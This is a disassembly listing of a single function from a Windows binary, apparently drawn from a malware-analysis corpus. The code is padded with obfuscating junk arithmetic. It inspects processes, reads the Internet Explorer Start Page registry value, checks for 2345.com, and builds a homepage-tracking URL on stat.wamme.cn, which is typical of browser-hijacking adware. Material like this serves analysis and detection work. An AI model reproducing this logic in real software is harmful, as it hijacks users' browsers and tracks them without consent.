Function at 0x41a4f0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443f9d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.004298a0
mov eax, dword [0x456fc0]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, dword [0x455690]
mov edi, dword [0x45569c]
mov eax, 0x59da2e6b
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x9cbd99d5
imul esi
imul esi, esi, 0x5cc
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
sub eax, ecx
imul edx, edx, 0xaef
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x140f
add eax, ecx
mov ecx, dword [0x455694]
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x4700d503
imul ecx
mov eax, dword [ebp - 0x10c8]
sar edx, 9
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, dword [0x4556a0]
imul eax, eax, 0x16cb
mov dword [ebp - 0x10c8], eax
mov eax, 0x5e17e411
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov edi, eax
mov eax, dword [ebp - 0x10c8]
sub edi, eax
mov eax, 0x6d62dd3b
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, esi
mov dword [str._r_____r____], ecx
add edi, ecx
mov ecx, dword [0x455688]
xor ebx, ebx
add ecx, edi
mov dword [ebp - 0x10f4], ebx
mov dword [ebp - 4], ebx
mov dword [0x455688], ecx
mov dword [ebp - 0x10e0], ebx
lea ecx, [ebp - 0x10e0]
push ecx
push 0x446248
push 0x17
push ebx
push 0x44a830
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
mov ecx, dword [0x4556a8]
mov eax, ecx
imul eax, eax, 0x14a2
mov dword [ebp - 0x10c8], eax
mov eax, 0x6342662b
imul dword [0x45569c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
mov eax, dword [0x455688]
imul eax, eax, 0x12b9
add edx, eax
mov esi, dword [0x4556a0]
mov dword [ebp - 0x10c8], edx
mov edx, dword [0x455690]
mov eax, 0x1cb32649
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
sub edx, esi
sub edx, 0x5cc
cmp edi, ebx
mov dword [0x455690], edx
jge 0x41a717
mov esi, dword [0x45568c]
mov ecx, dword [0x455698]
imul esi, esi, 0x140f
imul ecx, ecx, 0x12b9
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xb
imul ecx, ecx, 0x736
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub esi, eax
mov eax, dword [ebp - 0x10e0]
add esi, edx
cmp eax, ebx
lea edx, [ecx + esi - 0x5cc]
mov dword [0x455694], edx
mov byte [ebp - 4], bl
je 0x41a80d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41c9ab
mov eax, 0xcc33a611
imul esi, esi, 0xe33
imul ecx
add edx, ecx
imul ecx, ecx, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
mov edi, edx
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x4700d503
imul edx
sar edx, 9
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [ebp - 0x10e0]
sub edi, ecx
lea edx, [ebp - 0x10f0]
push edx
mov dword [0x455698], edi
mov dword [ebp - 0x10f0], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ebx, dword [0x45568c]
mov ecx, dword [0x455690]
mov edi, dword [0x455694]
mov eax, ecx
imul eax, eax, 0x16cb
mov edx, ebx
imul edx, edx, 0x15c4
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x6342662b
imul edi
imul edi, edi, 0x5cc
mov eax, dword [ebp - 0x10c8]
sar edx, 0xb
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x6d62dd3b
imul ebx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10f0]
add esi, edi
test eax, eax
mov dword [0x45569c], esi
jne 0x41a814
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41a80d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41c9ab
mov edi, dword [str._r_____r____]
mov eax, 0x1cb32649
imul edi, edi, 0x11d7
imul ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x509
sub edi, eax
mov eax, dword [ebp + 8]
add edi, edx
test eax, eax
mov dword [0x4556a0], edi
je 0x41a8c5
mov ecx, dword [0x4556a4]
mov eax, 0x59da2e6b
imul esi
imul esi, esi, 0x736
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9cbd99d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe33
sub ecx, edi
add ecx, edx
mov eax, 0x4700d503
imul ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
mov dword [0x4556a4], ecx
mov ecx, 0x5694b0
call fcn.0040ebe0
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x4556a0]
mov eax, 0x5e17e411
imul edi, edi, 0xd02
imul dword [str._r_____r____]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x140f
sub edx, eax
mov dword [ebp - 0x10c8], edx
mov eax, 0x903bb8bb
imul dword [0x455698]
add edx, dword [0x455698]
mov eax, dword [ebp - 0x10c8]
sar edx, 0xb
mov ebx, edx
shr ebx, 0x1f
add eax, edx
add ebx, eax
sub ebx, edi
xor edi, edi
mov dword [0x4556a8], ebx
mov dword [ebp - 0x10fc], edi
cmp edi, dword [ebp - 0x10f0]
jge 0x41c95b
mov eax, 0x59da2e6b
imul ebx, ebx, 0xaef
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9cbd99d5
imul ecx
mov eax, dword [0x45568c]
imul eax, eax, 0x140f
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
add ecx, eax
mov eax, 0x4700d503
imul dword [0x455694]
sar edx, 9
add ecx, ebx
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov dword [str._r_____r____], eax
mov dword [ebp - 0x10dc], 0
mov eax, edi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ecx]
lea esi, [ebp - 0x10dc]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a8]
mov eax, 0x6342662b
imul ecx, ecx, 0x14a2
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x12b9
sub ecx, eax
mov ebx, dword [0x4556a0]
add ecx, edx
mov edx, dword [0x455690]
mov eax, 0x1cb32649
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, ebx
sub ecx, 0x5cc
test edi, edi
mov dword [0x455690], ecx
jge 0x41aa6e
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c941
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c935
mov edi, dword [0x45568c]
mov edx, edi
imul edx, edx, 0x15c4
mov eax, ecx
imul eax, eax, 0x16cb
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, 0x6342662b
imul dword [0x455694]
mov eax, dword [ebp - 0x10cc]
sar edx, 0xb
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x6d62dd3b
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
imul edx, edx, 0x5cc
sub esi, eax
mov eax, dword [ebp - 0x10dc]
add esi, edx
xor edi, edi
test eax, eax
mov dword [0x45569c], esi
mov dword [ebp - 0x10cc], edi
je 0x41ab0b
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push 0x4462a0
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10cc]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov ebx, dword [0x4556a0]
imul ebx, ebx, 0x16cb
mov eax, 0x5e17e411
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [ebp - 0x10d4], eax
mov eax, 0x6d62dd3b
imul dword [0x4556a4]
mov ebx, dword [0x455688]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub edx, eax
mov eax, ecx
imul eax, eax, 0x5cc
sub edx, eax
add edx, dword [str._r_____r____]
add ebx, edx
test edi, edi
mov dword [0x455688], ebx
jne 0x41ab86
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c941
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c935
mov ecx, dword [0x455698]
mov ebx, dword [0x45568c]
imul ebx, ebx, 0x140f
mov edx, ecx
imul edx, edx, 0x12b9
add ebx, edx
mov eax, 0x903bb8bb
imul esi
add edx, esi
mov esi, dword [str._r_____r____]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x736
sub ebx, eax
add ebx, dword [0x4556a4]
lea eax, [edx + ebx - 0x5cc]
mov dword [0x455694], eax
mov dword [ebp - 0x10e4], 0
imul esi, esi, 0x11d7
imul ecx, ecx, 0x509
mov eax, 0x1cb32649
imul dword [0x45568c]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea edx, [ebp - 0x10e4]
push edx
mov dword [0x4556a0], esi
mov ecx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jl 0x41bbbf
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a0]
mov ebx, dword [0x4556a8]
mov eax, 0x903bb8bb
imul ecx
mov edi, esi
imul edi, edi, 0x140f
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 0xb
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, ebx
imul edx, edx, 0xaef
sub eax, edx
mov edi, eax
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0x11d7
mov dword [0x45568c], eax
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov dword [ebp - 0x10d8], 0
je 0x41acc2
mov ecx, dword [eax]
lea edx, [ebp - 0x10d8]
push edx
push 0x4462b0
push eax
call dword [ecx]
mov ecx, dword [0x455690]
mov ebx, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul esi, esi, 0xe33
mov eax, 0xcc33a611
imul ebx
add edx, ebx
imul ebx, ebx, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
sub esi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
add esi, edx
mov edi, edx
mov eax, 0x4700d503
imul dword [0x455694]
sar edx, 9
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10d8]
sub edi, ebx
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x455698], edi
jne 0x41ad7a
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41ad43
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41ad5d
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c93b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c935
push 0
call fcn.0042985f
sub eax, dword [0x569708]
add esp, 4
cmp eax, 0x708
jge 0x41b029
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9cbd99d5
imul ecx
mov eax, dword [0x4556a8]
sar edx, 0xb
imul eax, eax, 0xaef
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x140f
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0x4700d503
imul ecx
mov eax, dword [ebp - 0x10cc]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [str._r_____r____], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x110c]
push ecx
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x110c]
lea edx, [ebp - 0x10c8]
push edx
push eax
mov dword [ebp - 0x10c8], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a0]
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [0x4556a8]
mov edi, esi
imul ecx, ecx, 0xaef
imul edi, edi, 0x140f
sar edx, 0xb
mov ebx, edx
shr ebx, 0x1f
add edi, edx
add ebx, edi
mov edi, dword [0x455690]
mov eax, 0x4700d503
imul edi
sub ebx, ecx
sar edx, 9
add ebx, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, ebx
sub ecx, dword [0x455694]
mov ebx, dword [ebp - 0x10c8]
add ecx, 0x11d7
test ebx, ebx
mov dword [0x45568c], ecx
je 0x41bb3f
mov edx, dword [0x455698]
imul ecx, ecx, 0x140f
mov esi, dword [0x45569c]
imul edx, edx, 0x12b9
add ecx, edx
mov edi, dword [0x4556a4]
mov eax, 0x903bb8bb
imul esi
add edx, esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x736
sub ecx, eax
push ebx
add ecx, edi
push 0
lea eax, [edx + ecx - 0x5cc]
push 0x1f0fff
mov dword [0x455694], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x41b029
mov esi, dword [0x45568c]
mov edi, dword [0x455690]
imul edi, edi, 0x16cb
mov ecx, esi
imul ecx, ecx, 0x15c4
add edi, ecx
mov ecx, dword [0x455694]
mov eax, 0x6342662b
imul ecx
imul ecx, ecx, 0x5cc
sar edx, 0xb
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x6d62dd3b
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x446c76]
sub edi, eax
add edi, ecx
mov cx, word [0x446c74]
mov dword [0x45569c], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
imul ecx, ecx, 0x736
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
mov esi, eax
mov eax, 0x9cbd99d5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe33
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x2c4]
sub edi, eax
push str.startup.exe
push ecx
mov dword [0x4556a4], edi
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41bbab
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a4]
mov eax, 0x59da2e6b
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9cbd99d5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455688]
imul edx, edx, 0xe33
mov eax, esi
imul eax, eax, 0x736
sub ecx, edi
add ecx, edx
add ecx, eax
mov eax, 0x4700d503
imul dword [0x45568c]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp + 8]
mov dword [0x4556a4], ecx
mov ecx, dword [ebp - 0x10f4]
inc ecx
test eax, eax
mov dword [ebp - 0x10f4], ecx
je 0x41c850
push ecx
lea edx, [ebp - 0x10cc]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00406ad0
mov ecx, 0x5694b0
call fcn.00406060
test al, al
mov esi, dword [0x45569c]
jne 0x41c850
mov edi, dword [0x455690]
mov eax, 0x59da2e6b
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x9cbd99d5
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x140f
add ebx, ecx
mov ecx, dword [0x4556a8]
mov edx, ecx
imul ecx, ecx, 0x14a2
imul edx, edx, 0xaef
add ebx, edx
mov edx, dword [0x455694]
mov eax, 0x4700d503
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [str._r_____r____], eax
mov eax, 0x6342662b
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x12b9
sub ecx, eax
mov ebx, dword [0x4556a0]
add ecx, edx
mov eax, 0x1cb32649
imul edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
sub ecx, ebx
sub ecx, 0x5cc
lea edx, [ebp - 0x1104]
push edx
mov dword [0x455690], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov esi, dword [0x45568c]
mov edi, dword [0x455690]
mov ecx, dword [0x455694]
imul edi, edi, 0x16cb
mov eax, esi
imul eax, eax, 0x15c4
add edi, eax
mov eax, 0x6342662b
imul ecx
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0x6d62dd3b
imul esi
sar edx, 0xb
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add ebx, edi
add eax, edx
sub ebx, eax
imul ecx, ecx, 0x5cc
add ebx, ecx
mov ecx, dword [ebp - 0x1104]
push ecx
mov dword [0x45569c], ebx
call fcn.0041f110
mov ecx, dword [0x45569c]
mov dword [ebp - 0x10d0], eax
mov eax, 0x59da2e6b
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9cbd99d5
imul ecx
mov eax, dword [0x4556a8]
sar edx, 0xb
imul eax, eax, 0xaef
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x140f
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0x4700d503
imul ecx
mov eax, dword [ebp - 0x10d8]
sar edx, 9
mov ecx, edx
add edi, edx
shr ecx, 0x1f
add ecx, edi
mov dword [str._r_____r____], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1108]
push ecx
push eax
xor edi, edi
call dword [edx + 0x90]
mov ecx, dword [0x45568c]
mov ebx, dword [0x4556a0]
mov esi, eax
imul ebx, ebx, 0x140f
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 0xb
add ebx, edx
mov eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xaef
shr eax, 0x1f
add eax, ebx
sub eax, edx
mov ebx, eax
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x455694]
add eax, ebx
sub eax, edx
add eax, 0x11d7
test esi, esi
mov dword [0x45568c], eax
jne 0x41b304
mov ecx, dword [ebp - 0x1108]
push ecx
call fcn.0041f110
mov edi, eax
push 0
call fcn.0042985f
sub eax, dword [0x56946c]
add esp, 4
cmp eax, 5
jle 0x41c11f
test edi, edi
je 0x41b338
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41b326
sub eax, edx
cmp eax, 5
ja 0x41c11f
mov esi, dword [0x45568c]
mov edx, dword [0x455698]
imul esi, esi, 0x140f
mov ecx, dword [0x45569c]
imul edx, edx, 0x12b9
add esi, edx
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xb
imul ecx, ecx, 0x736
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4556a4]
lea edx, [ecx + esi - 0x5cc]
mov dword [0x455694], edx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41b397
lea eax, [ebp - 0x1c4]
push eax
call fcn.0041efb0
mov ecx, dword [str._r_____r____]
mov dword [ebp - 0x10ec], eax
mov esi, dword [0x455690]
mov eax, 0x5e17e411
imul esi, esi, 0x140f
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455698]
mov eax, 0x903bb8bb
imul ecx
add edx, ecx
mov ecx, dword [0x446c58]
mov eax, dword [str.sfdafsdafdsfdsfa]
sar edx, 0xb
add esi, edx
mov ebx, edx
mov edx, dword [0x4556a0]
mov dword [ebp - 0x144], eax
imul edx, edx, 0xd02
mov eax, dword [0x446c60]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x140], ecx
mov cl, byte [0x446c64]
xor eax, eax
mov byte [ebp - 0x134], cl
shr ebx, 0x1f
add ebx, esi
sub ebx, edx
mov edx, dword [0x446c5c]
mov dword [ebp - 0x13c], edx
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x9cbd99d5
imul dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
movsw word es:[edi], word [esi]
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x140f
add esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x4700d503
imul ecx
mov dword [0x4556a8], ebx
imul ebx, ebx, 0xaef
sar edx, 9
add esi, ebx
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
lea ecx, [ebp - 0x10f8]
mov dword [ebp - 0x10f8], 0
mov dword [str._r_____r____], eax
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x40]
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b795
mov ecx, dword [0x4556a8]
mov edi, dword [0x4556a0]
mov eax, 0xcc33a611
imul ecx
add edx, ecx
imul ecx, ecx, 0x5cc
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov esi, edi
imul edi, edi, 0x16cb
imul esi, esi, 0xe33
sub esi, eax
mov eax, 0x5da803a9
imul edx
sar edx, 0xa
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x455694]
mov eax, 0x4700d503
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x45569c]
mov eax, 0x5e17e411
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dword [0x455698], ebx
mov ebx, ecx
mov ecx, dword [0x4556a4]
mov eax, 0x6d62dd3b
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul ecx, ecx, 0x16cb
imul edx, edx, 0x5cc
sub ebx, edi
mov edi, dword [0x455688]
sub ebx, eax
mov eax, dword [str._r_____r____]
sub ebx, edx
add ebx, eax
add edi, ebx
mov dword [0x455688], edi
mov edi, dword [0x45568c]
mov eax, edi
imul eax, eax, 0x15c4
add ecx, eax
mov eax, 0x6342662b
imul esi
imul esi, esi, 0x5cc
sar edx, 0xb
add ecx, edx
mov ebx, edx
mov eax, 0x6d62dd3b
imul edi
shr ebx, 0x1f
add ebx, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
add ebx, esi
mov dword [ebp - 0x10d4], 0x104
mov dword [0x45569c], ebx
lea edx, [ebp - 0x10d4]
push edx
mov edx, dword [ebp - 0x10f8]
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x10e8]
push ecx
push 0
push str.Start_Page
mov ebx, 1
push edx
mov dword [ebp - 0x10e8], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41b795
mov ecx, dword [0x45568c]
mov esi, dword [0x4556a0]
mov eax, 0x903bb8bb
imul esi, esi, 0x140f
imul ecx
mov eax, dword [0x4556a8]
imul eax, eax, 0xaef
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 0xb
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x4700d503
imul ecx
mov eax, dword [0x569788]
sar edx, 9
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
mov edi, dword [0x455694]
sub esi, edi
add esi, 0x11d7
test eax, eax
mov dword [0x45568c], esi
jne 0x41b7a7
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.00429cd0
add esp, 8
test eax, eax
jne 0x41b6f3
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.00429cd0
add esp, 8
test eax, eax
je 0x41b795
mov ecx, dword [0x45569c]
mov eax, 0x59da2e6b
imul ecx
mov ecx, dword [0x455690]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9cbd99d5
imul ecx
mov eax, dword [0x4556a8]
sar edx, 0xb
imul eax, eax, 0xaef
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x140f
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0x4700d503
imul ecx
sar edx, 9
mov ecx, edx
add edi, edx
lea edx, [ebp - 0x144]
push edx
shr ecx, 0x1f
add ecx, edi
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x558268
mov dword [str._r_____r____], ecx
mov dword [0x569788], ebx
call fcn.0042977a
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45568c]
mov ecx, dword [0x455690]
mov edi, dword [0x455694]
imul ecx, ecx, 0x16cb
mov eax, esi
imul eax, eax, 0x15c4
add ecx, eax
mov eax, 0x6342662b
imul edi
imul edi, edi, 0x5cc
sar edx, 0xb
add ecx, edx
mov ebx, edx
mov eax, 0x6d62dd3b
imul esi
shr ebx, 0x1f
add ebx, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10f8]
sub ebx, ecx
add ebx, edi
push edx
mov dword [0x45569c], ebx
